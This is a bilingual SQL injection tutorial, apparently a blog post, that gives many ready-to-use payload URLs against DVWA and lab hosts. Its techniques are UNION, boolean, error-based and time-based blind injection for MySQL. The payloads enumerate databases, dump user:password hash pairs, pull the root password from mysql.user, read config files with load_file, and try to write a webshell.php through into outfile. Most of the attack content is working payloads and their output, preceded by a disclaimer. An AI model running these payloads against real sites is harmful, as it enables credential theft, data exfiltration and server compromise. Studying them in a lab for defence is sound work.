WEB security: Mysql database SQL injection (2)

Solemnly declare:
The purpose of writing this note is only to improve safety knowledge and to share safety knowledge with more people. Do not use the technology in the note for illegal activities. The consequences of using the technology in the note have nothing to do with the author. Advocate that everyone has the responsibility to maintain network security, and jointly maintain network civilization and harmony.

Mysql database SQL injection (two)

3 Mysql query information

3.1 unionJoint query injection method

3.1.1 Guess the number of table fields

order by 1: The query table contains several fields, try to change the number,

对于order by 数字的用户说明如下:
示例1:
    SELECT last_name, age , hobby FROM users ORDER BY salary DESC;
示例2:
    SELECT last_name, age , hobby FROM users ORDER BY 2 DESC;
以上两个示例结果相同。因为 age 是第二个元素,所以可以使用 2 来代替。但是数字不可以使用 0,也不可以超出查询的列。

例如:select * from users order by x;
    如果 users 表有九个字段,那个 X 的范围就是 1 —— 9,不能是 0,也不能是 10,超出会报错

Example:

# 以闭合报错为 `'` 为例:
正确查询内容'order by 5-- 
    # -- 表示后面的为注释(-- 后有1个空格)
    # 变为:'查询语句' order by 5-- '
    # 效果为:'查询语句' order by 5
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' order by 5-- '&Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
例:http://192.168.100.135/index.php?ID=104 order by 3
# order by 3 正常显示,order by 4 不正常显示,说明有 3 列。此时可以 select 1,2,3 想查询的数据

3.1.2 Query database system information

union select 1,2,3 from user

Principle: Use UNION to confirm whether the table name exists

  • The UNION operator is used to combine the result sets of two or more SELECT statements. Each SELECT statement within the UNION must have the same number of columns. That is, the number of fields in the second SELECT statement needs to be equal to the number of fields in the first SELECT statement.
  • The column names in the UNION result set are always equal to the column names in the first SELECT statement in UNION.
  • UNION selects only values ​​with different results by default. If duplicate values ​​are allowed, UNION ALL is used.
  • The fields queried in the second SELECT statement can be replaced by numbers.
  • If the table queried by the second SELECT statement does not exist, an error message is returned.
  • Even if the number of fields in the table queried by the second SELECT is less than the number of the table queried by the first, no error message will be returned.
例:http://192.168.100.135/index.php?ID=4 order by 3 是最后一个不报错的数,可知当前的表字段数为 3;

例:利用 UNION 查询表名称,若表存在,以数字替换页面内容的形式,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 union select 1,DATABASE(),3

# database() 函数可以用以下来替换以查询更多系统信息
VERSION();   # 查询 MySQL 版本
USER();      # 数据库用户名
@@datadir;   # 数据库路径
@@version_compile_os;    # 操作系统版本

3.1.3 Query table name

union select 1,2,3 from user

例:http://192.168.100.135/index.php?ID=4 order by 3 是最后一个不报错的数,可知当前的表字段数为 3;

例:利用 UNION 查询表名称,若表存在,以数字替换页面内容的形式,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 union select 1,2,3 from user

Query table field name

principle:

  • Using the method of querying the table name , replace the number queried ( displayed on the page ) in the second SELECT statement with the guessed table field name
  • If the table field exists, replace the current digital content with the guessed table field name to display the page normally, otherwise the table field name does not exist.
http://192.168.100.135/index.php?ID=4 union select 1,username,3 from admin
http://192.168.100.135/index.php?ID=4 union select 1,username,password from admin

3.1.4 Query table data

Use the query field name to query the table data. Three ways:

1. 方式一
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' union select user,password from dvwa.users-- 

2. 方式二
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' union select user,password from users-- 
# 以 ":" 形式分隔输出 user 和 password ;concat 与 concat_ws 的区别是:concat_ws 需要首字段执行分隔符,而concat 直接按照顺序写,':'字符十六进制值0x3A

3. 方式三 http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=' union select null,concat(user,0x3a,password) from users-- 

3.2 exists ()Boolean injection query method

3.2.1 Query table name

principle:

  • Using the and exists (select * from tablename)function with the SQL query query table name exists. Existence returns as True, and vice versaFalse

Example :

# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select * from users)-- &Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
例:利用 exists (select * from tablename) 查询表名称,若表存在正常显示页面;反之,表不存在。
http://192.168.100.135/index.php?ID=4 and exists (select * from admin)

3.2.2 Query table field names

Principle :

  • Using the and exists (select para1,para2 from tablename)lookup table field name exists.
# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select user,password from users)-- &Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
http://192.168.100.135/index.php?ID=4 and exists (select username from admin)

3.2.3 Guess the data length of the table

Principle :

  • Determining position data to guess, using the following Mysql LENGTH(字段名称)function and make the length of the guessed =equality operator, guess the correct length is true, normal printing the page. (You can also use >, <)

Example :

# 针对 Mysql 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT LENGTH(user) FROM users WHERE user_id=3)=4-- &Submit=Submit#

3.2.4 Query field data

3.2.4.1 Guess the solution verbatim

Principle :

mid() Function: used to extract characters from a text field

SELECT MID(column_name,start[,length]) FROM table_name
# column_name:必需。要提取字符的字段
# start:必需。规定开始位置(起始值是 1)
# length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

ASCII(str) Function: Cannot query Chinese characters

# str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值
# str 为空字符串,返回 0
# str 为NULL,返回 NULL
# 注:ASCII() 返回数值是从 0 到 255

After querying the ASCII codes of all characters, splicing to get the complete data

Example:

# 针对 Mysql 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),1,1)))=97-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),2,1)))=100-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),3,1)))=109-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),4,1)))=105-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),5,1)))=110-- &Submit=Submit#

3.3 Error injection

  • When Mysql executes the SQL statement, if there is an error in the statement, it will return an error message. But the default information at the time of the error will not be used in conjunction with PHP in the page displayed, you can call the PHP file mysql_error()error is displayed on the page.
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
  • Some examples need to view the source code in the new version of the browser to view the data

3.3.1 Query database name

Use info()will be the name of the current library

http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select null,info()-- &Submit=Submit#

# 页面显示: FUNCTION dvwa.info does not exist 其中 dvwa 为当前库名

3.3.2 Common error statements

3.3.2.1 Use floor to report errors (general)

1. 查询数据库版本
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 输出:Duplicate entry '~5.0.51a-3ubuntu5~1' for key 1

2. 查询当前数据库
and info()
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and info()-- &Submit=Submit#
# 输出:FUNCTION dvwa.info does not exist

3. 查询当前登陆用户
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 输出:Duplicate entry '[email protected]~1' for key 1

4. 查询当前连接数据库
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 输出:Duplicate entry '~dvwa~1' for key 1

5. 查询所有数据库
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '~information_schema~1' for key 1

6. 查询所有表
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '~guestbook~1' for key 1

7. 查询所有字段
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 其中 users 为表名; LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '~user_id~1' for key 1

8. 查询所有字段数据
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 其中 users 为表名;user 为列名;LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '#admin:5f4dcc3b5aa765d61d8327deb882cf99#1' for key 1

3.3.2.2 use ExtractValueerror

  • ExtractValue There is a length limit, up to 32 bits
1. 查询数据库名称
and extractvalue(1, concat(0x7e, (select @@version),0x7e))
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and extractvalue(1, concat(0x7e, (select @@version),0x7e))-- &Submit=Submit#
# 输出:FUNCTION dvwa.extractvalue does not exist

2. 查询表名称
and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))-- &Submit=Submit#
# 输出:Table 'dvwa.admin' doesn't exist

3.3.2.3 use UpdateXmlerror

  • updatexml()Function is extractvalue()similar to the update function is xml document.
  • UpdateXml There is a length limit, up to 32 bits
  • updatexml(目标xml文档,xml路径,更新的内容)
1. 查询数据库名称
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)-- &Submit=Submit#
# 输出:FUNCTION dvwa.updatexml does not exist

2. 查询表名称
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)-- &Submit=Submit#
# 输出:Table 'dvwa.admin' doesn't exist

3.3.2.4 NAME_CONSTError

  • Suitable for lower version
1. 查询数据库版本
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)-- &Submit=Submit#
# 输出:Duplicate column name '5.0.51a-3ubuntu5'

3.3.2.5 Double query error

or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1-- &Submit=Submit#
# 输出:Duplicate entry '5.0.51a-3ubuntu5~1' for key 1

3.3.2.6 Other available error injection functions

1. geometrycollection() 查询数据库用户名
约束条件:5.5<mysql版本<5.6
and geometrycollection((select * from(select * from(select user())a)b))

2. multipoint() 查询数据库用户名
and multipoint((select * from(select * from(select user())a)b))

3. polygon() 查询数据库用户名
and polygon((select * from(select * from(select user())a)b))

4. multipolygon() 查询数据库用户名
and multipolygon((select * from(select * from(select user())a)b))

5. linestring()
and linestring((select * from(select * from(select user())a)b))

6. multilinestring()
and multilinestring((select * from(select * from(select user())a)b))

7. exp()
and exp(~(select * from(select user())a))

3.3.3 Error injection process

1. 查询当前用户名
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
例:http://lab.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

2. 查询 root 密码
and (extractvalue(1,concat(0x7e,(select password from mysql.user),0x7e)))
例:http://lab.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select password from mysql.user),0x7e)))

3. 查询所有库名称
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://lab.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。

4. 查询所有表名称
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://lab.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。

5. 查询表中所有字段
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='admin' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://lab.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='admin' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
# 或将 admin 编码为16进制也可以
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。

6. 查询所有数据
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#

updatexml() 查询数据,有长度限制,最长32位,超出部分无法显示。
 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

3.3.4 Methods to solve the length limitation

  1. Query data or data length
  2. SUBSTRING() Perform character length interception
  3. Combining characters together is the complete data
1. 查询数据长度 60
and updatexml(1,concat(0x7e,(SELECT distinct LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)

2. 查询 1-32 长度的数据
and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit 0,1),0x7e),1)

3. 查询最后的数据,将 SUBSTRING(str,1,32) 中的 start 与 end 同时增加。
and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,40) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,60) FROM admin limit 0,1),0x7e),1)

3.3.5 Error injecting to read and write files

  • The new version of the browser may need to view the page source code to see the complete file information

3.3.5.1 extractvalue()Read file

Principle :

  • extractvalue(目标xml文档,xml路径)
  • Normal query: The position format of the second parameter is /xxx/.../xx, no error will be reported even if the query is not available
  • The second parameter, if you write in other formats, an error will be reported, and the written illegal format content will be returned, and this illegal content is what we want to query.
1. 读取文件
and (extractvalue(1,concat(0x7e,(select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),0x7e)))
例:http://lab.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,(select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),0x7e)))

2. 解决长度限制问题:
and (extractvalue(1,concat(0x7e,SUBSTRING((select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),1,32),0x7e)))
# 将 SUBSTRING(str,1,32) 中的 start 与 end 同时增加。
例:http://lab.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,SUBSTRING((select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),1,32),0x7e)))

3.3.5.2 exp()Read file

and (exp(~(select * from (select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php'))a)))
# exp() 没有长度限制
例:http://lab.com/mysqlinj.php?id=1 and (exp(~(select * from (select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php'))a)))

3.3.5.3 exp()Write file

and exp(~(select * from (select 'SQL injection')a)) into outfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'
例:http://lab.com/mysqlinj.php?id=-1 and exp(~(select * from (select 'SQL injection')a)) into outfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'
# 可以创建文件,但是无法在文件中写入数据,原因是 exp() 只能写入 0 或 1 到文件里面,错误写入的是 0;需要配合其他技术使用,如上传文件漏洞

3.4 Delayed injection (blind injection)

Under normal circumstances, the application will: display the built-in error message of the database, the error message provides a lot of useful information about the system, the built-in error message helps developers find and repair the problem; but when the programmer hides the built-in error message of the database , Replaced with a general error prompt, SQL injection will not be able to judge the execution result of the injected statement based on the error message, that is, blind injection.

Delay injection is a kind of blind injection, this kind of injection

sleep()Function is generally ifused with a conditional statement such as: select if(LENGTH(version())=6,sleep(3),0)if the version of the database 6 a length equal to the delay 3s, otherwise, outputs 0

Delay method injection process :

  1. Get the length of the data
  2. Query data, compare ASCII code value

3.4.1 Get the database name

1. 获取当前数据库名称长度
and if(LENGTH(database())=4,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH(database())=4,sleep(3),0)-- &Submit=Submit#
# 通过返回的时间长短确认当前数据库名长度为 4

2. 查询当前数据库名称:dvwa
2.1 遍历 ASCII 方式
and if(ascii(substring((select database()),1,1))=100,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(substring((select database()),1,1))=100,sleep(3),0)-- &Submit=Submit#
# 将 SUBSTRING(str,1,1) 中的 start 依次增加 1 。遍历出所有数据,组合在一起即为数据库名称。

2.2 遍历字符方式
and if(left((select database()),1)='d',sleep(3),0)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select database()),1)='d',sleep(3),0)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select database()),2)='dv',sleep(3),0)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度与查询的库名称的字符数,遍历出所有数据。

3.4.2 Get the table name

1. 查询所有表名称的长度:注: group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA=database()))=15,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA=database()))=15,sleep(3),0)-- &Submit=Submit#
# 长度 15

2. 查询每个表的长度,注:select 语句需要使用"()"包含起来,length 函数语法才能正确。
and if(LENGTH((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1))=9,sleep(3),0)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1))=9,sleep(3),0)-- &Submit=Submit#
# limit() 行数依次增加 1,可遍历所有的表长度。
# 长度 9
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1))=5,sleep(3),0)-- &Submit=Submit#
# 长度 5
# 由以上可知该数据库中共存在 2 张表,一个长度为 9,一个长度为 5,总表长度=(9 + 1[逗号分隔符] + 5) = 15

3. 查询表的名称
3.1 遍历 ASCII 方式
# 查询所有表名称的方式
and if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=103,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=103,sleep(3),0)-- &Submit=Submit#

# 依次查询单个表名称的方式
and if(ascii(SUBSTRING((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))=103,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))=103,sleep(3),0)-- &Submit=Submit#
# 注:SUBSTRING 编号从 1 开始,意味着表达式中的第一个字符为 1

3.2 遍历字符方式
# 查询所有表名称的方式
and if(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='g',sleep(3),1)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='g',sleep(3),1)-- &Submit=Submit#

# 依次查询单个表名称的方式
and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='g',sleep(3),1)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='g',sleep(3),1)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='gu',sleep(3),1)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的表名称的字符,遍历出所有数据。

3.4.3 Query table fields

  • The following examples TABLE_NAMEmay be a hexadecimal number, such as: to TABLE_NAME='users'replaceTABLE_NAME=0x7573657273
1. 查询字段长度
1.1 查询所有字段的总长度,注: group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'))=49,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'))=49,sleep(3),0)-- &Submit=Submit#
# 长度为:49

1.2 查询每个字段的长度
 and if(LENGTH((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1))=7,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1))=7,sleep(3),0)-- &Submit=Submit#
# limit() 行数依次增加 1,可遍历所有的表字段长度。
# 长度 7

2. 查询字段的名称
2.1 遍历 ASCII 方式
# 查询所有字段名称的方式
and if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1,1))='117',sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1,1))='117',sleep(3),0)-- &Submit=Submit#

# 依次查询单个字段名称的方式
and if(ascii(SUBSTRING((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1,1))='117',sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1,1))='117',sleep(3),0)-- &Submit=Submit#

2.2 遍历字符方式
# 查询所有字段名称的方式
and if(left((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1)='u',sleep(3),1)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1)='u',sleep(3),1)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段名称的字符,遍历出所有数据。

# 依次查询单个字段名称的方式
 and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1)='u',sleep(3),1)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1)='u',sleep(3),1)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1)='us',sleep(3),1)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段名称的字符,遍历出所有数据。

3.4.4 Query field data

1. 查询字段数据长度
1.1 查询所有查询字段数据的总长度,注: group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select GROUP_CONCAT(user,0x3a,password) from users))=196,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select GROUP_CONCAT(user,0x3a,password) from users))=196,sleep(3),0)-- &Submit=Submit#
# 总数据长度为:196
# 验证总数据长度:
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select null,LENGTH((select GROUP_CONCAT(user,0x3a,password) from users))-- &Submit=Submit#

1.2 查询每个字段数据的长度
and if(LENGTH((select user from users limit 0,1))=5,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select user from users limit 0,1))=5,sleep(3),0)-- &Submit=Submit#
# 长度 5

2. 查询字段数据的内容
2.1 遍历 ASCII 方式
# 查询所有字段数据内容的方式
and if(ascii(substring((select GROUP_CONCAT(user,0x3a,password) from users ),1,1))=97,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(substring((select GROUP_CONCAT(user,0x3a,password) from users ),1,1))=97,sleep(3),0)-- &Submit=Submit#

